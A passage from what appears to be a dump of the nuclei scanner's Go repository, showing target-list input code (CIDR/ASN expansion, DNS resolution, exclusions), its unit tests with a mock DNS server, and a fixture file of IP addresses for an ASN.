SetWithExclusions normalizes and stores passed input values if not excluded\nfunc (i *ListInputProvider) SetWithExclusions(executionId string, value string) error {\n\tURL := strings.TrimSpace(value)\n\tif URL == \"\" {\n\t\treturn nil\n\t}\n\tif i.isExcluded(URL) {\n\t\ti.skippedCount++\n\t\treturn nil\n\t}\n\ti.Set(executionId, URL)\n\treturn nil\n}\n\n// ListInputProvider is a hmap/filekv backed nuclei ListInputProvider provider\nfunc (i *ListInputProvider) InputType() string {\n\treturn \"ListInputProvider\"\n}\n\n// Close closes the input provider\nfunc (i *ListInputProvider) Close() {\n\t_ = i.hostMap.Close()\n\tif i.hostMapStream != nil {\n\t\ti.hostMapStream.Close()\n\t}\n}\n\n// initializeInputSources initializes the input sources for hmap input\nfunc (i *ListInputProvider) initializeInputSources(opts *Options) error {\n\toptions := opts.Options\n\n\t// Handle targets flags\n\tfor _, target := range options.Targets {\n\t\tswitch {\n\t\tcase iputil.IsCIDR(target):\n\t\t\tips := expand.CIDR(target)\n\t\t\ti.addTargets(options.ExecutionId, ips)\n\t\tcase asn.IsASN(target):\n\t\t\tips := expand.ASN(target)\n\t\t\ti.addTargets(options.ExecutionId, ips)\n\t\tdefault:\n\t\t\ti.Set(options.ExecutionId, target)\n\t\t}\n\t}\n\n\t// Handle stdin\n\tif options.Stdin {\n\t\ti.scanInputFromReader(\n\t\t\toptions.ExecutionId,\n\t\t\treaderutil.TimeoutReader{Reader: os.Stdin, Timeout: time.Duration(options.InputReadTimeout)})\n\t}\n\n\t// Handle target file\n\tif options.TargetsFilePath != \"\" {\n\t\tinput, inputErr := os.Open(options.TargetsFilePath)\n\t\tif inputErr != nil {\n\t\t\t// Handle cloud based input here.\n\t\t\tif opts.NotFoundCallback == nil || !opts.NotFoundCallback(options.TargetsFilePath) {\n\t\t\t\treturn errors.Wrap(inputErr, \"could not open targets file\")\n\t\t\t}\n\t\t}\n\t\tif input != nil {\n\t\t\ti.scanInputFromReader(options.ExecutionId, input)\n\t\t\t_ = input.Close()\n\t\t}\n\t}\n\tif options.Uncover && options.UncoverQuery != nil {\n\t\tgologger.Info().Msgf(\"Running uncover query against: %s\", strings.Join(options.UncoverEngine, \",\"))\n\t\tuncoverOpts := &uncoverlib.Options{\n\t\t\tAgents:        options.UncoverEngine,\n\t\t\tQueries:       options.UncoverQuery,\n\t\t\tLimit:         options.UncoverLimit,\n\t\t\tMaxRetry:      options.Retries,\n\t\t\tTimeout:       options.Timeout,\n\t\t\tRateLimit:     uint(options.UncoverRateLimit),\n\t\t\tRateLimitUnit: time.Minute, // default unit is minute\n\t\t}\n\t\tch, err := uncover.GetTargetsFromUncover(context.TODO(), options.UncoverField, uncoverOpts)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfor c := range ch {\n\t\t\ti.Set(options.ExecutionId, c)\n\t\t}\n\t}\n\n\tif len(options.ExcludeTargets) > 0 {\n\t\tfor _, target := range options.ExcludeTargets {\n\t\t\tswitch {\n\t\t\tcase iputil.IsCIDR(target):\n\t\t\t\ti.removeTargets([]string{target})\n\t\t\tcase asn.IsASN(target):\n\t\t\t\tcidrs, _ := asn.GetCIDRsForASNNum(target)\n\t\t\t\tcidrStrs := make([]string, 0, len(cidrs))\n\t\t\t\tfor _, cidr := range cidrs {\n\t\t\t\t\tcidrStrs = append(cidrStrs, cidr.String())\n\t\t\t\t}\n\t\t\t\ti.removeTargets(cidrStrs)\n\t\t\tdefault:\n\t\t\t\ti.Del(options.ExecutionId, target)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// scanInputFromReader scans a line of input from reader and passes it for storage\nfunc (i *ListInputProvider) scanInputFromReader(executionId string, reader io.Reader) {\n\tscanner := bufio.NewScanner(reader)\n\tfor scanner.Scan() {\n\t\titem := scanner.Text()\n\t\tswitch {\n\t\tcase iputil.IsCIDR(item):\n\t\t\tips := expand.CIDR(item)\n\t\t\ti.addTargets(executionId, ips)\n\t\tcase asn.IsASN(item):\n\t\t\tips := expand.ASN(item)\n\t\t\ti.addTargets(executionId, ips)\n\t\tdefault:\n\t\t\ti.Set(executionId, item)\n\t\t}\n\t}\n}\n\n// isExcluded checks if a URL is in the exclusion list\nfunc (i *ListInputProvider) isExcluded(URL string) bool {\n\tmetaInput := contextargs.NewMetaInput()\n\tmetaInput.Input = URL\n\tkey, err := metaInput.MarshalString()\n\tif err != nil {\n\t\tgologger.Warning().Msgf(\"%s\\n\", err)\n\t\treturn false\n\t}\n\n\t_, exists := i.excludedHosts[key]\n\treturn exists\n}\n\nfunc (i *ListInputProvider) Del(executionId string, value string) {\n\tURL := strings.TrimSpace(value)\n\tif URL == \"\" {\n\t\treturn\n\t}\n\t// parse hostname if url is given\n\turlx, err := urlutil.Parse(URL)\n\tif err != nil || (urlx != nil && urlx.Host == \"\") {\n\t\tgologger.Debug().Label(\"url\").MsgFunc(func() string {\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Sprintf(\"failed to parse url %v got %v skipping ip selection\", URL, err)\n\t\t\t}\n\t\t\treturn fmt.Sprintf(\"got empty hostname for %v skipping ip selection\", URL)\n\t\t})\n\t\tmetaInput := contextargs.NewMetaInput()\n\t\tmetaInput.Input = URL\n\t\ti.delItem(metaInput)\n\t\treturn\n\t}\n\n\t// Check if input is ip or hostname\n\tif iputil.IsIP(urlx.Hostname()) {\n\t\tmetaInput := contextargs.NewMetaInput()\n\t\tmetaInput.Input = URL\n\t\ti.delItem(metaInput)\n\t\treturn\n\t}\n\n\tif i.ipOptions.ScanAllIPs {\n\t\t// scan all ips\n\t\tdialers := protocolstate.GetDialersWithId(executionId)\n\t\tif dialers == nil {\n\t\t\tpanic(\"dialers with executionId \" + executionId + \" not found\")\n\t\t}\n\n\t\tdnsData, err := dialers.Fastdialer.GetDNSData(urlx.Hostname())\n\t\tif err == nil {\n\t\t\tif (len(dnsData.A) + len(dnsData.AAAA)) > 0 {\n\t\t\t\tvar ips []string\n\t\t\t\tif i.ipOptions.IPV4 {\n\t\t\t\t\tips = append(ips, dnsData.A...)\n\t\t\t\t}\n\t\t\t\tif i.ipOptions.IPV6 {\n\t\t\t\t\tips = append(ips, dnsData.AAAA...)\n\t\t\t\t}\n\t\t\t\tfor _, ip := range ips {\n\t\t\t\t\tif ip == \"\" {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tmetaInput := contextargs.NewMetaInput()\n\t\t\t\t\tmetaInput.Input = value\n\t\t\t\t\tmetaInput.CustomIP = ip\n\t\t\t\t\ti.delItem(metaInput)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t} else {\n\t\t\t\tgologger.Debug().Msgf(\"scanAllIps: no ip's found reverting to default\")\n\t\t\t}\n\t\t} else {\n\t\t\t// failed to scanallips falling back to defaults\n\t\t\tgologger.Debug().Msgf(\"scanAllIps: dns resolution failed: %v\", err)\n\t\t}\n\t}\n\n\tips := []string{}\n\t// only scan the target but ipv6 if it has one\n\tif i.ipOptions.IPV6 {\n\t\tdialers := protocolstate.GetDialersWithId(executionId)\n\t\tif dialers == nil {\n\t\t\tpanic(\"dialers with executionId \" + executionId + \" not found\")\n\t\t}\n\n\t\tdnsData, err := dialers.Fastdialer.GetDNSData(urlx.Hostname())\n\t\tif err == nil && len(dnsData.AAAA) > 0 {\n\t\t\t// pick/ prefer 1st\n\t\t\tips = append(ips, dnsData.AAAA[0])\n\t\t} else {\n\t\t\tgologger.Warning().Msgf(\"target does not have ipv6 address falling back to ipv4 %v\\n\", err)\n\t\t}\n\t}\n\tif i.ipOptions.IPV4 {\n\t\t// if IPV4 is enabled do not specify ip let dialer handle it\n\t\tips = append(ips, \"\")\n\t}\n\n\tfor _, ip := range ips {\n\t\tmetaInput := contextargs.NewMetaInput()\n\t\tif ip != \"\" {\n\t\t\tmetaInput.Input = URL\n\t\t\tmetaInput.CustomIP = ip\n\t\t\ti.delItem(metaInput)\n\t\t} else {\n\t\t\tmetaInput.Input = URL\n\t\t\ti.delItem(metaInput)\n\t\t}\n\t}\n}\n\n// setItem in the kv store\nfunc (i *ListInputProvider) setItem(metaInput *contextargs.MetaInput) {\n\tkey, err := metaInput.MarshalString()\n\tif err != nil {\n\t\tgologger.Warning().Msgf(\"%s\\n\", err)\n\t\treturn\n\t}\n\tif _, ok := i.hostMap.Get(key); ok {\n\t\ti.dupeCount++\n\t\treturn\n\t}\n\n\ti.inputCount++ // tracks target count\n\t_ = i.hostMap.Set(key, nil)\n\tif i.hostMapStream != nil {\n\t\ti.setHostMapStream(key)\n\t}\n}\n\nconst removeTargetsChunkSize = 5000\n\n// delItem removes all hostMap entries matching any of the given targets in a single scan.\nfunc (i *ListInputProvider) delItem(targets ...*contextargs.MetaInput) {\n\ttype parsedTarget struct {\n\t\thost  string\n\t\tregex *regexp.Regexp\n\t}\n\n\tvar parsed []parsedTarget\n\tfor _, mi := range targets {\n\t\ttargetUrl, err := urlutil.ParseURL(mi.Input, true)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tre, _ := regexp.Compile(mi.Input)\n\t\tparsed = append(parsed, parsedTarget{host: targetUrl.Host, regex: re})\n\t}\n\tif len(parsed) == 0 {\n\t\treturn\n\t}\n\n\tvar keysToDelete []string\n\ti.hostMap.Scan(func(k, _ []byte) error {\n\t\tvar tmpMetaInput contextargs.MetaInput\n\t\tif err := tmpMetaInput.Unmarshal(string(k)); err != nil {\n\t\t\treturn nil\n\t\t}\n\t\ttmpKey, err := tmpMetaInput.MarshalString()\n\t\tif err != nil {\n\t\t\treturn nil\n\t\t}\n\t\ttmpUrl, err := urlutil.ParseURL(tmpMetaInput.Input, true)\n\t\tif err != nil {\n\t\t\treturn nil\n\t\t}\n\t\tfor _, pt := range parsed {\n\t\t\tif tmpUrl.Host == pt.host || (pt.regex != nil && pt.regex.MatchString(tmpUrl.Host)) {\n\t\t\t\tkeysToDelete = append(keysToDelete, tmpKey)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\n\tfor _, key := range keysToDelete {\n\t\t_ = i.hostMap.Del(key)\n\t\ti.excludedHosts[key] = struct{}{}\n\t\ti.excludedCount++\n\t\ti.inputCount--\n\t}\n}\n\n// setHostMapStream sets item in stream mode\nfunc (i *ListInputProvider) setHostMapStream(data string) {\n\tif _, err := i.hostMapStream.Merge([][]byte{[]byte(data)}); err != nil {\n\t\tgologger.Warning().Msgf(\"%s\\n\", err)\n\t\treturn\n\t}\n}\n\nfunc (i *ListInputProvider) addTargets(executionId string, targets []string) {\n\tfor _, target := range targets {\n\t\ti.Set(executionId, target)\n\t}\n}\n\nfunc (i *ListInputProvider) removeTargets(targets []string) {\n\tvar cidrs []*net.IPNet\n\tvar otherTargets []string\n\n\tfor _, t := range targets {\n\t\tif _, ipnet, err := net.ParseCIDR(t); err == nil {\n\t\t\tcidrs = append(cidrs, ipnet)\n\t\t} else {\n\t\t\totherTargets = append(otherTargets, t)\n\t\t}\n\t}\n\n\t// CIDR targets: single scan with containment check\n\tif len(cidrs) > 0 {\n\t\tvar keysToDelete []string\n\t\ti.hostMap.Scan(func(k, _ []byte) error {\n\t\t\tvar mi contextargs.MetaInput\n\t\t\tif err := mi.Unmarshal(string(k)); err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tkey, err := mi.MarshalString()\n\t\t\tif err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tparsed, err := urlutil.ParseURL(mi.Input, true)\n\t\t\tif err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif matchesCIDR(parsed.Hostname(), cidrs) || (mi.CustomIP != \"\" && matchesCIDR(mi.CustomIP, cidrs)) {\n\t\t\t\tkeysToDelete = append(keysToDelete, key)\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t\tfor _, key := range keysToDelete {\n\t\t\t_ = i.hostMap.Del(key)\n\t\t\ti.excludedHosts[key] = struct{}{}\n\t\t\ti.excludedCount++\n\t\t\ti.inputCount--\n\t\t}\n\t}\n\n\t// other targets: chunked delItem with existing hostname+regex matching\n\tfor start := 0; start < len(otherTargets); start += removeTargetsChunkSize {\n\t\tend := start + removeTargetsChunkSize\n\t\tif end > len(otherTargets) {\n\t\t\tend = len(otherTargets)\n\t\t}\n\t\tchunk := otherTargets[start:end]\n\t\tmetaInputs := make([]*contextargs.MetaInput, 0, len(chunk))\n\t\tfor _, target := range chunk {\n\t\t\tmi := contextargs.NewMetaInput()\n\t\t\tmi.Input = target\n\t\t\tmetaInputs = append(metaInputs, mi)\n\t\t}\n\t\ti.delItem(metaInputs...)\n\t}\n}\n\nfunc matchesCIDR(host string, cidrs []*net.IPNet) bool {\n\tip := net.ParseIP(host)\n\tif ip == nil {\n\t\treturn false\n\t}\n\tfor _, ipnet := range cidrs {\n\t\tif ipnet.Contains(ip) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "pkg/input/provider/list/hmap_test.go",
    "content": "package list\n\nimport (\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/miekg/dns\"\n\t\"github.com/projectdiscovery/hmap/store/hybrid\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/expand\"\n\t\"github.com/projectdiscovery/utils/auth/pdcp\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc Test_expandCIDR(t *testing.T) {\n\ttests := []struct {\n\t\tcidr     string\n\t\texpected []string\n\t}{\n\t\t{\n\t\t\tcidr:     \"173.0.84.0/30\",\n\t\t\texpected: []string{\"173.0.84.0\", \"173.0.84.1\", \"173.0.84.2\", \"173.0.84.3\"},\n\t\t}, {\n\t\t\tcidr:     \"104.154.124.0/29\",\n\t\t\texpected: []string{\"104.154.124.0\", \"104.154.124.1\", \"104.154.124.2\", \"104.154.124.3\", \"104.154.124.4\", \"104.154.124.5\", \"104.154.124.6\", \"104.154.124.7\"},\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\thm, err := hybrid.New(hybrid.DefaultDiskOptions)\n\t\trequire.Nil(t, err, \"could not create temporary input file\")\n\t\tinput := &ListInputProvider{hostMap: hm}\n\n\t\tips := expand.CIDR(tt.cidr)\n\t\tinput.addTargets(\"\", ips)\n\t\t// scan\n\t\tgot := []string{}\n\t\tinput.hostMap.Scan(func(k, _ []byte) error {\n\t\t\tmetainput := contextargs.NewMetaInput()\n\t\t\tif err := metainput.Unmarshal(string(k)); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tgot = append(got, metainput.Input)\n\t\t\treturn nil\n\t\t})\n\t\trequire.ElementsMatch(t, tt.expected, got, \"could not get correct cidrs\")\n\t\tinput.Close()\n\t}\n}\n\ntype mockDnsHandler struct{}\n\nfunc (m *mockDnsHandler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {\n\tmsg := dns.Msg{}\n\tmsg.SetReply(r)\n\tswitch r.Question[0].Qtype {\n\tcase dns.TypeA:\n\t\tmsg.Authoritative = true\n\t\tdomain := msg.Question[0].Name\n\t\tmsg.Answer = append(msg.Answer, &dns.A{\n\t\t\tHdr: dns.RR_Header{Name: domain, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 60},\n\t\t\tA:   net.ParseIP(\"128.199.158.128\"),\n\t\t})\n\tcase dns.TypeAAAA:\n\t\tmsg.Authoritative = true\n\t\tdomain := msg.Question[0].Name\n\t\tmsg.Answer = append(msg.Answer, &dns.AAAA{\n\t\t\tHdr:  dns.RR_Header{Name: domain, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: 60},\n\t\t\tAAAA: net.ParseIP(\"2400:6180:0:d0::91:1001\"),\n\t\t})\n\t}\n\t_ = w.WriteMsg(&msg)\n}\n\nfunc Test_scanallips_normalizeStoreInputValue(t *testing.T) {\n\tsrv := &dns.Server{Addr: \":\" + strconv.Itoa(61234), Net: \"udp\"}\n\tsrv.Handler = &mockDnsHandler{}\n\n\tgo func() {\n\t\terr := srv.ListenAndServe()\n\t\trequire.Nil(t, err)\n\t}()\n\n\tdefaultOpts := types.DefaultOptions()\n\tdefaultOpts.InternalResolversList = []string{\"127.0.0.1:61234\"}\n\t_ = protocolstate.Init(defaultOpts)\n\ttype testcase struct {\n\t\thostname string\n\t\tipv4     bool\n\t\tipv6     bool\n\t\texpected []string\n\t}\n\ttests := []testcase{\n\t\t{\n\t\t\thostname: \"scanme.sh\",\n\t\t\tipv4:     true,\n\t\t\texpected: []string{\"128.199.158.128\"},\n\t\t}, {\n\t\t\thostname: \"scanme.sh\",\n\t\t\tipv6:     true,\n\t\t\texpected: []string{\"2400:6180:0:d0::91:1001\"},\n\t\t},\n\t}\n\t// add extra edge cases\n\turls := []string{\n\t\t\"https://scanme.sh/\",\n\t\t\"http://scanme.sh\",\n\t\t\"https://scanme.sh:443/\",\n\t\t\"https://scanme.sh:443/somepath\",\n\t\t\"http://scanme.sh:80/?with=param\",\n\t\t\"scanme.sh/home\",\n\t\t\"scanme.sh\",\n\t}\n\tresolvedIps := []string{\"128.199.158.128\", \"2400:6180:0:d0::91:1001\"}\n\n\tfor _, v := range urls {\n\t\ttests = append(tests, testcase{\n\t\t\thostname: v,\n\t\t\tipv4:     true,\n\t\t\tipv6:     true,\n\t\t\texpected: resolvedIps,\n\t\t})\n\t}\n\tfor _, tt := range tests {\n\t\thm, err := hybrid.New(hybrid.DefaultDiskOptions)\n\t\trequire.Nil(t, err, \"could not create temporary input file\")\n\t\tinput := &ListInputProvider{\n\t\t\thostMap: hm,\n\t\t\tipOptions: &ipOptions{\n\t\t\t\tScanAllIPs: true,\n\t\t\t\tIPV4:       tt.ipv4,\n\t\t\t\tIPV6:       tt.ipv6,\n\t\t\t},\n\t\t}\n\n\t\tinput.Set(defaultOpts.ExecutionId, tt.hostname)\n\t\t// scan\n\t\tgot := []string{}\n\t\tinput.hostMap.Scan(func(k, v []byte) error {\n\t\t\tmetainput := contextargs.NewMetaInput()\n\t\t\tif err := metainput.Unmarshal(string(k)); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tgot = append(got, metainput.CustomIP)\n\t\t\treturn nil\n\t\t})\n\t\trequire.ElementsMatchf(t, tt.expected, got, \"could not get correct ips for hostname %v\", tt.hostname)\n\t\tinput.Close()\n\t}\n}\n\nfunc Test_expandASNInputValue(t *testing.T) {\n\t// skip this test if pdcp keys are not present\n\th := pdcp.PDCPCredHandler{}\n\tcreds, err := h.GetCreds()\n\tif err != nil || creds == nil || creds.APIKey == \"\" {\n\t\tt.Logf(\"Skipping asnmap test as pdcp keys are not present\")\n\t\tt.SkipNow()\n\t}\n\ttests := []struct {\n\t\tasn                string\n\t\texpectedOutputFile string\n\t}{\n\t\t{\n\t\t\tasn:                \"AS14421\",\n\t\t\texpectedOutputFile: \"tests/AS14421.txt\",\n\t\t},\n\t\t{\n\t\t\tasn:                \"AS134029\",\n\t\t\texpectedOutputFile: \"tests/AS134029.txt\",\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\thm, err := hybrid.New(hybrid.DefaultDiskOptions)\n\t\trequire.Nil(t, err, \"could not create temporary input file\")\n\t\tinput := &ListInputProvider{hostMap: hm}\n\t\t// get the IP addresses for ASN number\n\t\tips := expand.ASN(tt.asn)\n\t\tinput.addTargets(\"\", ips)\n\t\t// scan the hmap\n\t\tgot := []string{}\n\t\tinput.hostMap.Scan(func(k, v []byte) error {\n\t\t\tmetainput := contextargs.NewMetaInput()\n\t\t\tif err := metainput.Unmarshal(string(k)); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tgot = append(got, metainput.Input)\n\t\t\treturn nil\n\t\t})\n\t\tif len(got) == 0 {\n\t\t\t// asnmap server is down\n\t\t\tt.SkipNow()\n\t\t}\n\t\t// read the expected IPs from the file\n\t\tfileContent, err := os.ReadFile(tt.expectedOutputFile)\n\t\trequire.Nil(t, err, \"could not read the expectedOutputFile file\")\n\n\t\titems := strings.Split(strings.ReplaceAll(string(fileContent), \"\\r\\n\", \"\\n\"), \"\\n\")\n\n\t\trequire.ElementsMatch(t, items, got, \"could not get correct ips\")\n\t}\n}\n"
  },
  {
    "path": "pkg/input/provider/list/tests/AS134029.txt",
    "content": "103.57.226.0\n103.57.226.1\n103.57.226.2\n103.57.226.3\n103.57.226.4\n103.57.226.5\n103.57.226.6\n103.57.226.7\n103.57.226.8\n103.57.226.9\n103.57.226.10\n103.57.226.11\n103.57.226.12\n103.57.226.13\n103.57.226.14\n103.57.226.15\n103.57.226.16\n103.57.226.17\n103.57.226.18\n103.57.226.19\n103.57.226.20\n103.57.226.21\n103.57.226.22\n103.57.226.23\n103.57.226.24\n103.57.226.25\n103.57.226.26\n103.57.226.27\n103.57.226.28\n103.57.226.29\n103.57.226.30\n103.57.226.31\n103.57.226.32\n103.57.226.33\n103.57.226.34\n103.57.226.35\n103.57.226.36\n103.57.226.37\n103.57.226.38\n103.57.226.39\n103.57.226.40\n103.57.226.41\n103.57.226.42\n103.57.226.43\n103.57.226.44\n103.57.226.45\n103.57.226.46\n103.57.226.47\n103.57.226.48\n103.57.226.49\n103.57.226.50\n103.57.226.51\n103.57.226.52\n103.57.226.53\n103.57.226.54\n103.57.226.55\n103.57.226.56\n103.57.226.57\n103.57.226.58\n103.57.226.59\n103.57.226.60\n103.57.226.61\n103.57.226.62\n103.57.226.63\n103.57.226.64\n103.57.226.65\n103.57.226.66\n103.57.226.67\n103.57.226.68\n103.57.226.69\n103.57.226.70\n103.57.226.71\n103.57.226.72\n103.57.226.73\n103.57.226.74\n103.57.226.75\n103.57.226.76\n103.57.226.77\n103.57.226.78\n103.57.226.79\n103.57.226.80\n103.57.226.81\n103.57.226.82\n103.57.226.83\n103.57.226.84\n103.57.226.85\n103.57.226.86\n103.57.226.87\n103.57.226.88\n103.57.226.89\n103.57.226.90\n103.57.226.91\n103.57.226.92\n103.57.226.93\n103.57.226.94\n103.57.226.95\n103.57.226.96\n103.57.226.97\n103.57.226.98\n103.57.226.99\n103.57.226.100\n103.57.226.101\n103.57.226.102\n103.57.226.103\n103.57.226.104\n103.57.226.105\n103.57.226.106\n103.57.226.107\n103.57.226.108\n103.57.226.109\n103.57.226.110\n103.57.226.111\n103.57.226.112\n103.57.226.113\n103.57.226.114\n103.57.226.115\n103.57.226.116\n103.57.226.117\n103.57.226.118\n103.57.226.119\n103.57.226.120\n103.57.226.121\n103.57.226.122\n103.57.226.123\n103.57.226.124\n103.57.226.125\n103.57.226.126\n103.57.226.127\n103.57.226.128\n103.57.226.129\n103.57.226.130\n103.57.226.131\n103.57.226.132\n103.57.226.133\n103.57.226.134\n103.57.226.135\n103.57.226.136\n103.57.226.137\n103.57.226.138\n103.57.226.139\n103.57.226.140\n103.57.226.141\n103.57.226.142\n103.57.226.143\n103.57.226.144\n103.57.226.145\n103.57.226.146\n103.57.226.147\n103.57.226.148\n103.57.226.149\n103.57.226.150\n103.57.226.151\n103.57.226.152\n103.57.226.153\n103.57.226.154\n103.57.226.155\n103.57.226.156\n103.57.226.157\n103.57.226.158\n103.57.226.159\n103.57.226.160\n103.57.226.161\n103.57.226.162\n103.57.226.163\n103.57.226.164\n103.57.226.165\n103.57.226.166\n103.57.226.167\n103.57.226.168\n103.57.226.169\n103.57.226.170\n103.57.226.171\n103.57.226.172\n103.57.226.173\n103.57.226.174\n103.57.226.175\n103.57.226.176\n103.57.226.177\n103.57.226.178\n103.57.226.179\n103.57.226.180\n103.57.226.181\n103.57.226.182\n103.57.226.183\n103.57.226.184\n103.57.226.185\n103.57.226.186\n103.57.226.187\n103.57.226.188\n103.57.226.189\n103.57.226.190\n103.57.226.191\n103.57.226.192\n103.57.226.193\n103.57.226.194\n103.57.226.195\n103.57.226.196\n103.57.226.197\n103.57.226.198\n103.57.226.199\n103.57.226.200\n103.57.226.201\n103.57.226.202\n103.57.226.203\n103.57.226.204\n103.57.226.205\n103.57.226.206\n103.57.226.207\n103.57.226.208\n103.57.226.209\n103.57.226.210\n103.57.226.211\n103.57.226.212\n103.57.226.213\n103.57.226.214\n103.57.226.215\n103.57.226.216\n103.57.226.217\n103.57.226.218\n103.57.226.219\n103.57.226.220\n103.57.226.221\n103.57.226.222\n103.57.226.223\n103.57.226.224\n103.57.226.225\n103.57.226.226\n103.57.226.227\n103.57.226.228\n103.57.226.229\n103.57.226.230\n103.57.226.231\n103.57.226.232\n103.57.226.233\n103.57.226.234\n103.57.226.235\n103.57.226.236\n103.57.226.237\n103.57.226.238\n103.57.226.239\n103.57.226.240\n103.57.226.241\n103.57.226.242\n103.57.226.243\n103.57.226.244\n103.57.226.245\n103.57.226.246\n103.57.226.247\n103.57.226.248\n103.57.226.249\n103.57.226.250\n103.57.226.251\n103.57.226.252\n103.57.226.253\n103.57.226.254\n103.57.226.255\n103.58.114.0\n103.58.114.1\n103.58.114.2\n103.58.114.3\n103.58.114.4\n103.58.114.5\n103.58.114.6\n103.58.114.7\n103.58.114.8\n103.58.114.9\n103.58.114.10\n103.58.114.11\n103.58.114.12\n103.58.114.13\n103.58.114.14\n103.58.114.15\n103.58.114.16\n103.58.114.17\n103.58.114.18\n103.58.114.19\n103.58.114.20\n103.58.114.21\n103.58.114.22\n103.58.114.23\n103.58.114.24\n103.58.114.25\n103.58.114.26\n103.58.114.27\n103.58.114.28\n103.58.114.29\n103.58.114.30\n103.58.114.31\n103.58.114.32\n103.58.114.33\n103.58.114.34\n103.58.114.35\n103.58.114.36\n103.58.114.37\n103.58.114.38\n103.58.114.39\n103.58.114.40\n103.58.114.41\n103.58.114.42\n103.58.114.43\n103.58.114.44\n103.58.114.45\n103.58.114.46\n103.58.114.47\n103.58.114.48\n103.58.114.49\n103.58.114.50\n103.58.114.51\n103.58.114.52\n103.58.114.53\n103.58.114.54\n103.58.114.55\n103.58.114.56\n103.58.114.57\n103.58.114.58\n103.58.114.59\n103.58.114.60\n103.58.114.61\n103.58.114.62\n103.58.114.63\n103.58.114.64\n103.58.114.65\n103.58.114.66\n103.58.114.67\n103.58.114.68\n103.58.114.69\n103.58.114.70\n103.58.114.71\n103.58.114.72\n103.58.114.73\n103.58.114.74\n103.58.114.75\n103.58.114.76\n103.58.114.77\n103.58.114.78\n103.58.114.79\n103.58.114.80\n103.58.114.81\n103.58.114.82\n103.58.114.83\n103.58.114.84\n103.58.114.85\n103.58.114.86\n103.58.114.87\n103.58.114.88\n103.58.114.89\n103.58.114.90\n103.58.114.91\n103.58.114.92\n103.58.114.93\n103.58.114.94\n103.58.114.95\n103.58.114.96\n103.58.114.97\n103.58.114.98\n103.58.114.99\n103.58.114.100\n103.58.114.101\n103.58.114.102\n103.58.114.103\n103.58.114.104\n103.58.114.105\n103.58.114.106\n103.58.114.107\n103.58.114.108\n103.58.114.109\n103.58.114.110\n103.58.114.111\n103.58.114.112\n103.58.114.113\n103.58.114.114\n103.58.114.115\n103.58.114.116\n103.58.114.117\n103.58.114.118\n103.58.114.119\n103.58.114.120\n103.58.114.121\n103.58.114.122\n103.58.114.123\n103.58.114.124\n103.58.114.125\n103.58.114.126\n103.58.114.127\n103.58.114.128\n103.58.114.129\n103.58.114.130\n103.58.114.131\n103.58.114.132\n103.58.114.133\n103.58.114.134\n103.58.114.135\n103.58.114.136\n103.58.114.137\n103.58.114.138\n103.58.114.139\n103.58.114.140\n103.58.114.141\n103.58.114.142\n103.58.114.143\n103.58.114.144\n103.58.114.145\n103.58.114.146\n103.58.114.147\n103.58.114.148\n103.58.114.149\n103.58.114.150\n103.58.114.151\n103.58.114.152\n103.58.114.153\n103.58.114.154\n103.58.114.155\n103.58.114.156\n103.58.114.157\n103.58.114.158\n103.58.114.159\n103.58.114.160\n103.58.114.161\n103.58.114.162\n103.58.114.163\n103.58.114.164\n103.58.114.165\n103.58.114.166\n103.58.114.167\n103.58.114.168\n103.58.114.169\n103.58.114.170\n103.58.114.171\n103.58.114.172\n103.58.114.173\n103.58.114.174\n103.58.114.175\n103.58.114.176\n103.58.114.177\n103.58.114.178\n103.58.114.179\n103.58.114.180\n103.58.114.181\n103.58.114.182\n103.58.114.183\n103.58.114.184\n103.58.114.185\n103.58.114.186\n103.58.114.187\n103.58.114.188\n103.58.114.189\n103.58.114.190\n103.58.114.191\n103.58.114.192\n103.58.114.193\n103.58.114.194\n103.58.114.195\n103.58.114.196\n103.58.114.197\n103.58.114.198\n103.58.114.199\n103.58.114.200\n103.58.114.201\n103.58.114.202\n103.58.114.203\n103.58.114.204\n103.58.114.205\n103.58.114.206\n103.58.114.207\n103.58.114.208\n103.58.114.209\n103.58.114.210\n103.58.114.211\n103.58.114.212\n103.58.114.213\n103.58.114.214\n103.58.114.215\n103.58.114.216\n103.58.114.217\n103.58.114.218\n103.58.114.219\n103.58.114.220\n103.58.114.221\n103.58.114.222\n103.58.114.223\n103.58.114.224\n103.58.114.225\n103.58.114.226\n103.58.114.227\n103.58.114.228\n103.58.114.229\n103.58.114.230\n103.58.114.231\n103.58.114.232\n103.58.114.233\n103.58.114.234\n103.58.114.235\n103.58.114.236\n103.58.114.237\n103.58.114.238\n103.58.114.239\n103.58.114.240\n103.58.114.241\n103.58.114.242\n103.58.114.243\n103.58.114.244\n103.58.114.245\n103.58.114.246\n103.58.114.247\n103.58.114.248\n103.58.114.249\n103.58.114.250\n103.58.114.251\n103.58.114.252\n103.58.114.253\n103.58.114.254\n103.58.114.255"
  },
  {
    "path": "pkg/input/provider/list/tests/AS14421.txt",
